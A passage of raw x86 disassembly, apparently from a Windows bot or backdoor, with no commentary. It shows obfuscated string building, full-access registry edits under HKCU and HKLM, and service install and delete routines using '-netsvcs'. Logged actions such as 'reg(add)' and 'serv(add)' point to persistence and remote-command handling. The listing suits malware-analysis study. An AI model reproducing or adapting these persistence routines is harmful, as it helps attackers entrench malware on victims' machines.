80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2910000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx call near ptr 2910000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2950000h mov edx, [esp+80h+var_70] push edx call near ptr 2910000h nop lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E860 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E860 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ECF0 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ECF0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax nop call near ptr 27F0000h lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ECF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE30 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 291096Fh mov edi, eax test edi, edi jnz short loc_40EE6F xor al, al jmp loc_40EFC0 ; --------------------------------------------------------------------------- loc_40EE6F: ; CODE XREF: sub_40EE30+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449834 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi call near ptr 2920000h nop mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF55 nop call near ptr 27C08AAh cmp eax, 431h jnz short loc_40EF39 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFC0 ; --------------------------------------------------------------------------- loc_40EF39: ; CODE XREF: sub_40EE30+CBj push edi nop call near ptr 292039Ah lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFC0 ; --------------------------------------------------------------------------- loc_40EF55: ; CODE XREF: sub_40EE30+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx call near ptr 29205FDh nop test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFAC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFC0 ; --------------------------------------------------------------------------- loc_40EFAC: ; CODE XREF: sub_40EE30+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFC0: ; CODE XREF: sub_40EE30+3Aj ; sub_40EE30+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F050 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 291096Fh mov edi, eax test edi, edi jnz short loc_40F077 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F077: ; CODE XREF: sub_40F050+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28B0000h mov esi, eax test esi, esi jnz short loc_40F0A4 push edi call near ptr 292039Ah nop pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0A4: ; CODE XREF: sub_40F050+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 2910562h push esi nop call near ptr 2910828h push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F050 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F0F0 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 291096Fh nop mov esi, eax test esi, esi jnz short loc_40F10F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F10F: ; CODE XREF: sub_40F0F0+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi nop call near ptr 28B0000h test eax, eax jnz short loc_40F136 push esi nop call near ptr 292039Ah xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F136: ; CODE XREF: sub_40F0F0+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F0F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F170 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 291096Fh nop mov edi, eax test edi, edi jnz short loc_40F191 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F191: ; CODE XREF: sub_40F170+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28B0000h mov esi, eax test esi, esi jnz short loc_40F1BB push edi call near ptr 292039Ah nop pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1BB: ; CODE XREF: sub_40F170+3Bj push 0 push 0 push esi call near ptr 2900BC0h nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F170 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F200: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F2FA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2C6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_40F2C6: ; CODE XREF: ___:0040F287j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F2FA: ; CODE XREF: ___:0040F236j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F399 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F372 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F372: ; CODE XREF: ___:0040F33Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F399: ; CODE XREF: ___:0040F30Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4AF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F46D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h loc_40F46D: ; CODE XREF: ___:0040F424j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4AF: ; CODE XREF: ___:0040F3ABj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F551 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F52A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F52A: ; CODE XREF: ___:0040F4F5j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F551: ; CODE XREF: ___:0040F4C4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F650 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F650 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6C0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F30 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 nop call near ptr 27E0C7Ah push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490BC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490C0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490C4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490C8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 23h call sub_4017EE push eax push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 mov ecx, [esp+3Ch+var_C] mov eax, esi pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 